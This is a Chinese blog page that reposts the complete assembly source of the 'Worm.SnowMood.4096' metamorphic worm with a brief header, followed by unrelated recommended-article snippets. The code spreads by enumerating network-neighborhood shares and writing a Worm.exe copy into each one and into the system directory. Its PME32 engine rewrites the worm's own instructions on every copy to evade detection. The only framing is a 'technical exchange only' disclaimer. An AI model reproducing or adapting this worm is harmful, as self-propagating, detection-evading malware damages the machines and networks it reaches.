Worm.SnowMood.4096

〔重庆理工大学〕计算机组成原理课设报告--16位单周期CPU设计 本课程设计的实验平台为Altera Quartus II 软件和Altera Cyclone V Starter 工具箱。(1)Cyclone V是Altera FPGAs家族的一类,它面向低功耗应用。Cyclone V GX 5CGXFC5C6F27C7N 芯片有不同的转换器,按钮,LED灯,七段显示器,HDMI接口,SD卡读卡器以及其他链接等。Cyclone V GX 5CGXFC5C6F27C7N是Starter工具箱的重要组件。(2)测试台包含在测设备(DUT)和用于仿真的模拟输入。 阅读详情
;-----------------------------------------------------------------
;病毒名称: Worm.SnowMood.4096(雪人的心)
;编写环境: WinXP,Masm32v6
;完成日期: 2002/11/10
;版  本: v1.0
;作   者: pkxp/CVC.GB(E-Mail:PeekXP@163.com)
;警 告 : 仅供技术交流,若有其他用途,概与本人无关!
;       万一有转贴,请保持完整性,多谢!
;-----------------------------------------------------------------
;程序简介:
;1. 这是一个简单的变形蠕虫,通过网络邻居传播。
;2. 发现共享目录后,在其中创建一个Worm.exe,然后写入文件头和.data段
;   将自身代码变形后再写入。PME32是一个变形引擎。
;3. 程序本意是说明这类蠕虫的写法,无关部分一概省略,甚至连自启动、
;   随机数、垃圾代码都没有。
;4. ml   /c /coff snowmood.asm
;   link /SUBSYSTEM:WINDOWS snowmood.obj
;   /MERGE:.rdata=.data /MERGE:.text=.data
;-----------------------------------------------------------------

.386
.model flat,stdcall
option casemap:none
include useful.inc
include Macros.inc  

.data
pMem         dd 0
szWormName     db '/Worm.exe',0
orig_worm     db 50 dup (0)
copy_worm     db MAX_PATH dup (0)

P segment
VStart:
  i2   push   PAGE_READWRITE
  i2   push   MEM_RESERVE or MEM_COMMIT
  i2   push   VEnd-VStart
  i2   push   0
  i2   call   VirtualAlloc
  i3   mov   pMem,eax         ;分配空间,准备变形
 
  i3   mov   esi,offset VStart
  i3   mov   edi,pMem
  i2   push   VEnd-VStart
  i2   pop   ecx
  i2   rep   movsb           ;拷贝代码

  i2   push   50
  i2   push   offset orig_worm    
  i2   push   0
  i2   call   GetModuleFileName   ;得到程序路径      
 
  i2   push   MAX_PATH
  i2   push   offset copy_worm
  i2   call   GetSystemDirectory   ;得到系统目录
 
  i2   push   offset copy_worm
  i2   call   InfectDir         ;感染系统目录

  i2   push   NULL
  i2   call   EnumNetWork       ;感染网络邻居      
  i1   ret
 
;----------- 遍历网络邻居,找到目录后感染之 -----------
EnumNetWork PROC pNetResource : DWORD
   
  LOCAL   hEnum     : DWORD
  LOCAL   Count     : DWORD
  LOCAL   BufferSize : DWORD

      nop
      nop
      nop
      nop
  i1   pushad
  i2   push   0FFFFFFFFh
  i2   pop   Count
  i2   push   16*1024
  i2   pop   BufferSize

  i3   lea   eax , hEnum  
  i2   push   eax
  i2   push   pNetResource
  i2   push   0
  i2   push   RESOURCETYPE_DISK
  i2   push   RESOURCE_GLOBALNET
  i2   call   WNetOpenEnum
  i3   or     eax,eax
  i2   jnz   EN_Exit
   
  i2   push   PAGE_READWRITE
  i2   push   MEM_RESERVE or MEM_COMMIT
  i2   push   16*1024
  i2   push   0
  i2   call   VirtualAlloc      
  i3   or     eax,eax
  i2   jz     EN_Close
  i3   mov   pNetResource,eax  

  i3   lea   eax,BufferSize
  i2   push   eax
  i2   push   pNetResource
  i3   lea   eax,Count
  i2   push   eax
  i2   push   hEnum
  i2   call   WNetEnumResource                  
  i3   or     eax,eax
  i2   jnz   EN_Free
             
  i3   mov   ecx,Count
  i3   mov   edi,pNetResource
  assume edi:ptr NETRESOURCEA
EN_Loop:
  i3   mov   eax,[edi].dwUsage
  i3   and   al,2
  i3   cmp   al , 2
  i2   jnz   EN_Dir
EN_Container:
  i2   push   edi  
  i2   call   EnumNetWork  
  i2   jmp   EN_Next
EN_Dir:
  i3   mov   eax,[edi].lpRemoteName      
  i2   push   [edi].lpRemoteName
  i2   call   InfectDir
EN_Next:
  i3   add   edi,sizeof NETRESOURCE
  i2   loop   EN_Loop
EN_Free:
  i2   push   MEM_RELEASE
  i2   push   0
  i2   push   pNetResource
  i2   call   VirtualFree          
EN_Close:
  i2   push   hEnum
  i2   call   WNetCloseEnum      
EN_Exit:
  i1   popad
  i2   ret 4
EnumNetWork ENDP    


;------------------InfectDir---------------------------------
;输入:目录地址
;输出:在目录中创建一个蠕虫文件
;思路:创建文件,把自身映象的PE头和第一个段.data
;     写入文件,然后把自身代码变形,写入文件。
;------------------------------------------------------------

InfectDir PROC   RemoteDir : DWORD

  LOCAL ByteWrite:DWORD

      nop
      nop
      nop
      nop               ;补足10个字节
  i1   pushad
  i2   push   offset szWormName
  i2   push   RemoteDir
  i2   call   lstrcat                              
           
  i2   push   NULL
  i2   push   FILE_ATTRIBUTE_NORMAL
  i2   push   CREATE_ALWAYS
  i2   push   NULL
  i2   push   FILE_SHARE_READ+FILE_SHARE_WRITE
  i2   push   GENERIC_READ+GENERIC_WRITE
  i2   push   RemoteDir
  i2   call   CreateFile
  i3   or     eax,eax
  i2   jz     ID_Exit
  i3   xchg   eax,esi
   
  i3   lea   edi,ByteWrite
  i2   push   0
  i2   push   edi
  i2   push   200h        
  i2   push   00400000h
  i2   push   esi        
  i2   call   WriteFile           ;文件头
   
  i2   push   0
  i2   push   edi
  i2   push   400h        
  i2   push   00401000h
  i2   push   esi        
  i2   call   WriteFile           ;.data

  i2   push   (instrz-VStart)/10
  i2   pop   ecx
  i2   push   ebp
  i3   xor   ebp,ebp
  i3   mov   edi,pMem
  i2   call   PME32             ;instrz->VStart的代码变形
  i2   pop   ebp
 
  i3   lea   edi,ByteWrite
  i2   push   0
  i2   push   edi
  i2   push   0A00h         ;VEnd-VStart按FileAlignment对其
  i2   push   pMem
  i2   push   esi
  i2   call   WriteFile     ;Write code  
   
  i2   push   esi
  i2   call   CloseHandle
ID_Exit:      
  i1   popad
  i2   ret   4
   
InfectDir ENDP


;-------------------PME32--------------------------------
;输入:
;     EDI   -   变形的一段代码
;     ECX   -   待变形代码长度,按10字节计算
;输出:
;     EDI   -   移动到指令之后
;思路:
;     每次取出包含一条指令的10个字节,先试图变形
;     后插入垃圾代码.

PME32:
i1     pushad
ExploreIns:
i2     push     ecx
i2     call     MORPHER  
i2     call     GARBAGER         ;insert garbage code
i2     pop     ecx
i2     loop     ExploreIns  
i1     popad
i1     ret

;---------------MORPHER---------------------------------------
;输入:
;     EDI   -   待变形的指令地址  
;输出:
;     EDI   -   移动到指令之后
;     EAX   -   新指令的长度
;思路:
;     将当前指令与指令集中所有指令比较,匹配后变形。
;--------------------------------------------------------------

MORPHER:                   ;start of morpher code

i3     lea     esi,[instrz+ebp]

analyse_instr:
i1     lodsd    
i3     test   eax,eax
i2     je     end_MORPHER     ;所有指令比较完毕,没有比配的
i3     add     eax,ebp       ;得到函数地址
i3     xchg   eax,edx       ;保存在edx中,eax还要用

explore_instr:
i3     xor     eax,eax
i1     lodsb               ;扩充用
i3     test   al,al
i2     je     end_instr       ;分析完一条指令了吗?
i2     push   edi
i2     dec     eax
i3     add     edi,eax
i1     cmpsb               ;比较一个字节
i2     pop     edi
i2     je     explore_instr   ;相等,继续

next_instr:                 ;已经有一个字节不相等,找下一条指令
i1     lodsb
i3     test     al,al
i2     jne     next_instr     ;找到指令结尾标志0
i2     jmp     analyse_instr   ;分析下一条指令

end_instr:
i2     push     edi
i2     call     edx           ;调用指令变形函数
i2     pop     eax
i3     sub     eax,edi
i2     neg     eax           ;得到新指令长度

end_MORPHER:
i1     ret

;-------- PUSHAD --------

shr_pushad:
i3     mov     al,60h         ;write single PUSHAD opcode
stosb_ret:
i1     stosb
i1     ret

exp_pushad:
i2     push     8             ;write   PUSH EAX
i2     pop     ecx           ;       PUSH ECX
i3     mov     al,50h         ;       ...
ep0:                         ;       PUSH EDI
i1     stosb
i2     inc     eax
i2     loop     ep0
i1     ret

;-------- POPAD --------

shr_popad:
i3     mov     al,61h             ;write single POPAD opcode
i2     jmp     stosb_ret

exp_popad:
i2     push     8               ;write   POP EDI
i2     pop     ecx               ;       POP ESI
i3     mov     al,5Fh             ;       ...
ep1:                           ;       POP EAX
i1     stosb
i2     dec     eax
i2     loop     ep1
i1     ret

;-------- RET -------------
shr_ret:
i3     mov     al,0C3h               ;shrink to RET
i2     jmp     stosb_ret

exp_ret:
i3     mov     eax,0FF04C483h   ;83C404 ADD ESP,4
i1     stosd               ;FF6424FC JMP DWORD PTR [ESP-4]
i3     mov     ax,2464h
i1     stosw
i3     mov     al,0FCh
i2     jmp     stosb_ret

;-------- INC EAX----------
shr_inceax:
i3     mov     al,40h           ;write single INC EAX opcode
i2     jmp     stosb_ret

exp_inceax:
i3     mov     al,83h           ;83 C0 01 ADD EAX,1
i1     stosb
i3     mov     ax,01c0h
i1     stosw
i1     ret

;-------- STOSD --------
shr_stosd:
i3     mov     al,0ABh         ;shrink to STOSD
i2     jmp     stosb_ret

exp_stosd:
i3     mov     eax,0C7830789h     ;create MOV   [EDI],EAX
i1     stosd                 ;     ADD   EDI,4
i3     mov     al,4
i2     jmp     stosb_ret


;-------------------- GARBAGER -------------------------------
;输入:
;     EAX   -     新指令长度
;     EDI   -     新指令下一个字节的地址
;输出:
;     EDI   -     下一条指令地址
;思路:
;     在10个字节空间里,已经有一条真正指令,edi指向其后在剩下
;     的空间内填充NOP.edi随之后移,指向了下一条真正指令。
;     如果eax=0,说明MORPHER匹配失败,那么要把edi加10。
;     指向下一条指令。
;---------------------------------------------------------------

GARBAGER:
i3     or   eax,eax  
i2     jz   G1
i3     mov   ecx,INSTRLEN
i3     sub   ecx,eax    
i3     mov   al,90h
G0:    
i1     stosb
i2     loop   G0
i2     jmp   G2
G1:
i3     add   edi,INSTRLEN
G2:    
i1     ret

           
instrz:
;shrinker part
  dd     offset shr_pushad
  db     1,50h,2,51h,3,52h,4,53h,5,54h,6,55h,7,56h,8,57h,0
  dd     offset shr_popad
  db     1,5Fh,2,5Eh,3,5Dh,4,5Ch,5,5Bh,6,5Ah,7,59h,8,58h,0    
  dd     offset shr_ret
  db     1,83h,2,0C4h,3,04h,4,0FFh,5,64h,6,24h,7,0FCh,0
  dd     offset shr_inceax
  db     1,83h,2,0C0h,3,01h,0
  dd     offset shr_stosd
  db     1,89h,2,07h,3,83h,4,0C7h,5,04h,0        
 
;expander part
  dd     offset exp_pushad
  db     1,60h,0
  dd     offset exp_popad
  db     1,61h,0
  dd     offset exp_ret
  db     1,0C3h,0
  dd     offset exp_inceax
  db     1,40h,0
  dd     offset exp_stosd
  db     1,0ABh,0
 
  dd     0       ;结束标志

VEnd:
P ends
end VStart

//macros.inc
INSTRLEN   equ   10

i3   macro   code1_2,code3
  local   s,e
s:    
  code1_2 , code3         ;e.g. MOV EAX,EBX
e:    
  db     INSTRLEN-(e-s) dup (90h)
endm

i2   macro   code1,code2
  local   s,e
s:    
  code1   code2                 ;e.g. INC EAX
e:    
  db     INSTRLEN-(e-s) dup (90h)
endm

i1   macro     code1
  local     s,e
s:    
  code1                     ;e.g. STOSD
e:    
  db     INSTRLEN-(e-s) dup (90h)
endm
//useful.inc
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
includelib /masm32/lib/kernel32.lib
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib

@pushsz MACRO str
LOCAL next
call next
db   str,0
next:
ENDM 
8、内存交织技术详解 本文详细解析了内存交织技术的基本原理、工作机制及实现方式,探讨了其在提升内存访问速度和系统性能中的关键作用。文章还分析了内存交织的优缺点、实际应用场景以及与其他优化技术的结合应用,并提出了未来发展的可能方向,为理解与运用该技术提供了全面参考。 阅读详情

相关推荐

zabbix5+dify+ollama+deepseek+企业微信 本地部署实现故障智能分析

zabbix5告警信息deepseek自动分析

slc14211421的专栏 3074

企业即时通讯技术探讨

企业即时通讯技术探讨 作者:AwBBBBBlone@smth 日期:2008-07-17 工作流程:1.首先得到重定位信息,保存在ebx中.2.调用GetKBase ,得到Kernel32.dll的基地址。3.调用GetAPIz,得到程序将使用的Kernel32中所有API.4.

神经网络爱好者 1012

OpenCode:开源代码智能代理平台的全面解析

OpenCode是一个开源代码智能代理平台,采用模块化微服务架构,支持多种AI模型集成。该系统包含前端交互层、代理服务层和模型集成层,提供Build、Plan和General三种代理模式,分别负责代码编写、分析和复杂任务处理。OpenCode支持跨平台安装,具备权限验证、上下文感知等安全机制,并集成LSP协议实现深度代码理解。相比竞品,其开源特性、终端优先设计和提供商无关架构具有明显优势,适用于个人开发、团队协作等多种场景,为开发者提供强大的AI辅助编程能力。

Aaron_945的博客 1425

五十三.网络(3)--区块同步getblocks消息

在节点互发了version消息后,就会发送getblocks消息,请求对方的区块以进行同步。

d3582077的专栏 198

油气井管柱力学发展

油气井管柱力学发展 1 石油管柱力学问题的发复杂性 1)油气管柱动力学的非线性 钻井中钻柱在重力、钻压、扭矩、钻井液浮力和井壁约束等作用下,产生三维变形。一方面随井眼轴线的弯曲而弯曲,这一变形被称为管柱的初位移;另一方面,管柱在运动过程中相对井眼轴线也有变形,这种变形被称为计算位移。管柱大变形主要表现在初位移部分,计算位移相对很小。大曲率井眼中管柱产生大挠度,但管柱很长且柔软性较好,变形一般仍保持...

weixin_43831995的博客 953

【tensorrt】——深入解析TypeError: pybind11::init()报错:CUDA版本冲突与解决方案

本文深入解析了TensorRT中常见的TypeError: pybind11::init()报错问题,重点探讨了CUDA版本冲突的根源与解决方案。通过实际案例展示了PyTorch与TensorRT的版本兼容性问题诊断方法,并提供了conda环境管理、环境变量配置等实用修复技巧,帮助开发者有效解决CUDA初始化失败问题。

ggg99的专栏 272

DPU安全组与ACL性能测试:从规则爆炸到线速卸载的实战指南

本文深入剖析DPU安全组与网络ACL的底层卸载架构,通过两个完整实战测试矩阵,量化评估规则复杂度、有状态连接跟踪(Conntrack)及OVS Offload协同对RoCEv2性能的影响。结合真实故障排查案例与工具输出矩阵,揭示大规模云环境中安全组性能跌落的根因,并给出基于规则聚合与硬件表项优化的最优配置指南。

专注分享DPU、RDMA智能网卡/SSD(固态硬盘)产品测试与优化 339

银河麒麟V10 SP1 x86_64架构下离线部署全栈开发环境:Java8+Mysql5.7+Tomcat8实战指南

本文详细介绍了在银河麒麟V10 SP1 x86_64架构下离线部署全栈开发环境的实战指南,包括Java8、Mysql5.7和Tomcat8的安装与配置。通过步骤详解和常见问题排查,帮助开发者在国产操作系统上高效搭建稳定可靠的开发环境,特别适合政务系统和企业级应用部署。

weixin_29230901的博客 374

Linux 服务器性能排查手册(2026):CPU、内存、磁盘IO、网络四大瓶颈定位

iptables 四表五链模型、firewalld zone 信任级别、云安全组与主机防火墙的关系与优先级,避坑改了防火墙把自己挡在服务器外面的翻车事故。

2502_91473995的博客 344

Apollo control模块横向控制原理及核心代码逐行解析

看完这篇文章,你会对apollo横向控制有一个整体的概念

weixin_39199083的博客 2万+

基于知识图谱的智能决策系统

作者:禅与计算机程序设计艺术 1.简介 知识图谱(Knowledge Graph)最早由美国斯坦福大学的Jure Sifne等人于2013年提出,它是一个用于存储、整理和推理复杂多变的网络结构信息的数据模型。它的基本特征是每个事实都有一个统一的标识符ID,并且可以以图形的方式展示各种关系及其边缘。因此,

AI天才研究院 2185

AI 芯片片上网络 NoC 深度解析:flit、虚通道与拥塞控制如何决定 GPU/TPU/LPU 的算力利用率

AI芯片算力瓶颈不在FLOPS,而在片上网络(NoC)——数据搬运的能耗与延迟决定MFU上限。物理限制下,长线延迟不随工艺缩小,迫使NoC将全局布线拆为可流水的短链路;能量账显示,一跳传输耗能可达数十次乘加操作。拓扑选择直接影响性能:二维mesh虽布线可行,但均匀流量下每节点可用带宽按1/√N衰减,实测仅达标称值30%。虚通道、双网设计、静态调度(如Groq)等技术旨在突破此瓶颈。从总线到crossbar再到多跳NoC,本质是用延迟换可行性。未来趋势:专用通路(脉动阵列)、晶圆级集成(Cerebras)、跨

我的博客 119

【雕爷学编程】Arduino智慧交通之RF24通信实现车队之间的实时通信和协调

通过这些示例,车队领导可以发送指令给车队成员,车队成员可以接收指令并执行相应的操作,同时车队成员也可以发送自己的位置信息给车队领导或其他成员,以实现车队之间的实时通信和协调。例如,在高速公路上,车队中的车辆可以根据前方车辆的速度和位置信息,自动调整自身的速度和距离,以保持车队的整体稳定和安全。Arduino智慧交通系统利用RF24通信模块实现车队之间的实时通信和协调,通过无线通信技术,车辆之间可以实时传输数据和指令,以实现车队的协同行驶和交通优化。通过数据处理和分析,可以生成实时的交通信息和统计数据。

雕爷学编程 1076

网安产教融合思考:如何补齐高校实战能力评价短板

不少网安专业高校都面临这样现实的难题:网安人才培养持续推进,校内已经搭建完整的教学体系,但高校培养方案可能几年修一次,企业的技术栈和攻击手法却按季度在变,学校难落地最新的技术实战教学,学生难证明实战本领,企业一边喊人才紧缺,一边感慨招不到来了就能干的应届生。网安时代,实战为王。备考平台、7天免费直播培训、免费认证考试,期待更多高校加入 CCP 人才共育生态,组织本校学子参与本轮认证,以认证带动教学,以实战对接就业,共同为行业培养 “用得上、干得好” 的实战型网络安全人才。本次报名、培训、考试全程免费,

A19911511842的博客 197

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

台湾行情数据API接入教程

想用程序获取台股行情,很多人第一步会搜“台股资料 API 推荐”,结果发现选择不少:证交所有免费接口,Yahoo Finance 也能查,券商还有自己的 API。真正写代码时才发现,有的数据只到收盘,有的延迟 20 分钟,有的必须先开户。本文先梳理台湾行情数据的几种获取渠道,再用 Python 从零搭一个可以运行的台股数据脚本:查代码清单、取实时报价和盘口、拉历史K线、做复权、用 WebSocket 接收实时推送,最后结合台积电 ADR 和新台币汇率计算跨市场溢价。

qq_34102871的博客 318

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

【基于 WebSocket 的多用户网页五子棋】—— 数据管理模块

但行好事,莫问前程

qq_42996461的博客 250

Qt网络编程实战指南:从底层Socket到现代异步架构的选型与避坑

本文梳理Qt网络编程的核心模块与演进路线,对比QTcpSocket与QNetworkAccessManager的使用边界,结合HTTP请求与TCP长连接的完整示例,说明信号槽、内存管理与事件循环的配合方式。重点记录连接池设计、证书校验、线程亲和性等实际开发中的关键决策点,帮助读者在C/S或跨平台项目中建立稳定的网络层基座。

2402_83344867的博客 328

25.《Pwn 堆利用实战:House of Lore —— 从自出题 my_lore 到 getshell 全流程》

自出题 my_lore 打穿 House of Lore:UAF 泄露 libc,BSS 伪造 chunk 投毒 smallbin,两次 malloc 把 system 写进函数指针,附 gdb 动态验证全过程

2501_93884468的博客 471

从母钟到子钟:NTP 网络时钟系统架构与软件接口

本文从工程角度简要介绍公共场所的时间同步需求、NTP协议的定位,以及典型LED同步时钟的系统架构与硬件设计,以讯鹏科技4寸与5寸同步时钟为例。

SPZHCS的博客 187

正运动16轴脉冲网络型运动控制卡ECI1G38

16轴脉冲运动控制解决方案

weixin_57350300的博客 85
上一篇: 以毒传毒思想与Win32.Everest源码
下一篇: 邮件蠕虫与垃圾邮件技术的融合
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值